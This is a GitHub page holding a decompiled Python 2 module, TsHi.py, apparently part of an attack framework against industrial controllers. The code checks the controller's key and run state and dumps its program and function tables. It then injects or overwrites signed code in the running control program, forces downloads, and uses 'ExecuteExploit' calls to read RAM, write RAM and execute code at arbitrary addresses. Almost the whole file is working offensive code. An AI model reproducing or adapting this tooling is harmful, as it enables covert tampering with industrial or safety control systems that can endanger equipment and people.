-
Notifications
You must be signed in to change notification settings - Fork 86
/
TsHi.py
396 lines (354 loc) · 12.6 KB
/
TsHi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
# uncompyle6 version 2.14.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.12 (default, Nov 19 2016, 06:48:10)
# [GCC 5.4.0 20160609]
# Embedded file name: TsHi.pyc
# Compiled at: 2017-08-04 08:04:01
import TsBase, struct, sh, crc, time
mp_ram_table = [
[
0, 16777216],
[
34603008, 35667968],
[
41943040, 50331648]]
def ram_check(adr, size, table=mp_ram_table):
end_adr = adr + size
adr_fine = False
for i in table:
if adr >= i[0] and end_adr <= i[1]:
adr_fine = True
if adr_fine == False:
return -1
return 0
def TScksum(data):
sum = 826366262
data = data + struct.pack('<I', 31415936)
for i in data:
sum = (sum & 2147483647) << 1 | sum >> 31
sum = sum + ord(i)
return sum
append_sign = 2068988371
def MyCodeSign(code):
return code + struct.pack('<I', crc.crc32(code) ^ append_sign)
def MyCodeCheck(code):
if code == None or len(code) < 8:
return False
code_sign = struct.unpack('<I', code[-4:])[0]
code_crc = crc.crc32(code[:-4])
return code_crc ^ code_sign == append_sign
class TsHi(TsBase.TsBase):
def ReadFunctionOrProgram(self, id, is_func):
size_read = 0
full_size = 4
dump_func = self.UploadProgram
if is_func:
dump_func = self.UploadFunction
dumped_code = ''
while size_read < full_size:
data = dump_func(id, size_read)
if data == None or len(data) < 8:
return
next, full_size, notused, reply_size = struct.unpack('<HHHH', data[0:8])
reply_data = data[8:]
if 4 * reply_size != len(reply_data):
return
dumped_code += reply_data
size_read += reply_size
if len(dumped_code) < 4:
return
sign = struct.unpack('<I', dumped_code[-4:])[0]
dumped_code = dumped_code[:-4]
test_sign = TScksum(dumped_code)
if test_sign != sign:
print 'bad code sign'
return
return dumped_code
def WriteFunctionOrProgram(self, id, next, is_func, data=''):
if len(data) % 4 != 0:
data = data + (4 - len(data) % 4) * '\x00'
full_size = len(data)
write_func = self.AllocateProgram
if is_func:
write_func = self.AllocateFunction
if full_size == 0:
return write_func(id, next, full_size, 0, '')
sign = TScksum(data)
data = data + struct.pack('<I', sign)
full_size = len(data)
total_chunks = full_size / 4
sent_chunks = 0
while sent_chunks < total_chunks:
cur_send = min(total_chunks - sent_chunks, 256)
data_to_send = data[sent_chunks * 4:(sent_chunks + cur_send) * 4]
result = write_func(id, next, total_chunks, sent_chunks, data_to_send)
if not result:
return False
sent_chunks += cur_send
return True
def ReadFunction(self, id):
return self.ReadFunctionOrProgram(id, True)
def ReadProgram(self, id):
return self.ReadFunctionOrProgram(id, False)
def WriteFunction(self, id, data=''):
return self.WriteFunctionOrProgram(id, 0, True, data)
def WriteProgram(self, id, next, data=''):
return self.WriteFunctionOrProgram(id, next, False, data)
def ParseProjectInfo(self, info):
if info == None or len(info) < 74:
return
name = info[64:74]
minor, major, timestamp = struct.unpack('<HHI', info[56:64])
project = (name, major, minor, timestamp)
loadIn, modIn, loadState, singleScan, cpValid, keyState, runState = struct.unpack('BBBBBBB', info[0:7])
my, us, ds, heap_min, heap_max = struct.unpack('<IIIII', info[12:32])
prinfo = {}
prinfo['project'] = project
prinfo['heap'] = (heap_min, heap_max)
prinfo['key'] = keyState
prinfo['run'] = runState
prinfo['valid'] = cpValid
prinfo['loadin'] = loadIn
prinfo['modin'] = modIn
prinfo['load'] = loadState
prinfo['sscan'] = singleScan
prinfo['fstat'] = info[40:44]
return prinfo
def GetProjectInfo(self):
info = self.GetCpStatus()
return self.ParseProjectInfo(info)
def GetProgramTable(self):
ptab = {}
current_prog = 0
while True:
prog = self.UploadProgram(current_prog)
if prog == None or len(prog) < 2:
break
next_prog = struct.unpack('<H', prog[0:2])[0]
ptab[current_prog] = next_prog
current_prog += 1
final_error = self.ts_result()[0]
if final_error != 208:
return
current_prog = 0
total_len = 0
try:
while True:
current_prog = ptab[current_prog]
total_len += 1
if current_prog == 0:
break
if total_len > len(ptab):
return
except KeyError:
return
if total_len != len(ptab):
return
return ptab
def CountFunctions(self):
cuf = 0
while True:
cuf += 16
func = self.UploadFunction(cuf)
if func == None:
break
final_error = self.ts_result()[0]
if final_error != 208:
return
cuf -= 16
while True:
func = self.UploadFunction(cuf)
if func == None:
break
cuf += 1
final_error = self.ts_result()[0]
if final_error != 208:
return
return cuf
def SafeAppendProgramMod(self, code, force=False):
print 'checking project state'
cur_state = self.GetProjectInfo()
if cur_state == None:
print 'FAILED to get state'
return False
if cur_state['key'] != 1 and not force:
print 'key NOT in PROGRAM'
return False
if cur_state['valid'] != 1 and not force:
print 'program NOT VALID'
return False
if cur_state['run'] != 0 and not force:
print 'program NOT in RUNNING'
return False
if cur_state['run'] == 3:
print 'program in EXCEPTION, halting'
self.HaltProgram()
if cur_state['load'] == 5:
if not force:
print 'wrong program STATE'
return False
print 'cancelling previous download'
self.CancelDownload()
print 'dumping program table'
prog_table = self.GetProgramTable()
if prog_table == None or len(prog_table) < 1:
print 'cannot parse PROG TABLE'
return False
prog_cnt = len(prog_table)
print 'counting functions (slow)'
func_count = self.CountFunctions()
if func_count == None or func_count < 1:
print 'cannot count FUNC'
return False
print 'performing program mod'
first_try = self.AppendProgramMin(code, func_count, prog_cnt)
if first_try == 0:
print 'mod failed'
return False
if first_try == 2:
print 'append used, progcnt + 1'
prog_cnt += 1
if force:
self.RunProgram()
print 'waiting for program to start'
new_prog_state = self.WaitForStart()
if new_prog_state == 0:
print 'run success, mod success!'
return True
if new_prog_state == 3:
print 'prog exception! trying to fix back'
self.HaltProgram()
second_try = self.AppendProgramMin('\xff\xff`8\x02\x00\x00D \x00\x80N', func_count, prog_cnt)
self.RunProgram()
new_prog_state = self.WaitForStart()
if new_prog_state == 0:
print 'exception FIXED by REMOVING our code'
else:
print 'NOT fixed! Total Failure'
return False
return
def WaitForStart(self):
attempts = 0
while attempts < 100:
attempts += 1
new_status = self.GetProjectInfo()
if new_status == None:
return -1
load_st = new_status['load']
run_st = new_status['run']
if run_st != 0 or load_st == 10:
return run_st
time.sleep(0.1)
return -1
def AppendProgramMin(self, code, funccnt, progcnt):
print 'appending program'
if funccnt <= 0 or progcnt <= 0:
print 'wrong input params'
max_prog_code = self.ReadProgram(progcnt - 1)
max_prog_header = self.UploadProgram(progcnt - 1)
if max_prog_code == None or max_prog_header == None:
print 'cannot dump LAST PROG'
return 0
max_prog_next = struct.unpack('<H', max_prog_header[0:2])[0]
if self.ReadProgram(progcnt) != None:
print 'wrong prog count'
return 0
if self.ReadFunction(funccnt - 1) == None or self.ReadFunction(funccnt) != None:
print 'wrong func count'
return 0
is_overwrite = False
if MyCodeCheck(max_prog_code):
print 'sign detected, using overwrite'
is_overwrite = True
else:
print 'using append'
progcnt += 1
cur_state = self.GetProjectInfo()
code = MyCodeSign(code)
mod_attempts = 0
is_success = False
is_dl_allowed = False
while mod_attempts < 2:
print 'sending mod request, attempt %d' % (mod_attempts + 1)
mod_attempts += 1
is_dl_allowed = self.StartDownloadChange(cur_state['project'], cur_state['project'], funccnt, progcnt)
if not is_dl_allowed:
print 'Download NOT ALLOWED'
self.CancelDownload()
continue
while True:
if is_overwrite:
result = self.WriteProgram(progcnt - 1, max_prog_next, code)
if not result:
break
else:
result = self.AllocateProgram(progcnt - 2, progcnt - 1)
if not result:
break
result = self.WriteProgram(progcnt - 1, max_prog_next, code)
if not result:
break
is_success = True
break
if not is_success:
self.CancelDownload()
continue
break
if not is_dl_allowed:
print 'code write not allowed'
return 0
if not is_success:
print 'code write FAILURE, cancelling'
result = self.CancelDownload()
if not result:
print 'cancel FAILURE'
return 0
print 'code write success, confirming'
result = self.EndDownloadChange()
if not result:
print 'confirm FAILURE, cancelling'
result = self.CancelDownload()
if not result:
print 'cancel FAILURE'
return 0
if is_overwrite:
return 1
return 2
return
def ExplReadRam(self, address, size, mp=255):
if size > 1024 or size <= 0:
return None
if ram_check(address, size) != 0:
return None
return self.ExecuteExploit(23, struct.pack('<II', size, address))
def ExplReadRamEx(self, address, size, mp=255):
data = ''
for i in xrange(0, size, 1024):
offset = address + i
size_to_read = min(size - i, 1024)
r_data = self.ExplReadRam(offset, size_to_read, mp)
if r_data == None:
break
data = data + r_data
return data
def ExplExec(self, address, mp=255):
if address >= 1048576 or address <= 0:
return None
return self.ExecuteExploit(249, struct.pack('<I', address))
def ExplWriteRam(self, address, data='', mp=255):
size = len(data)
if size > 1024 or size <= 0:
return None
if ram_check(address, size) != 0:
return None
return self.ExecuteExploit(65, struct.pack('<II', size, address) + data)
def ExplWriteRamEx(self, address, data='', mp=255):
size = len(data)
for i in xrange(0, size, 1024):
offset = address + i
size_to_write = min(size - i, 1024)
data_to_write = data[i:i + size_to_write]
result = self.ExplWriteRam(offset, data_to_write, mp)
if result == None:
return False
return True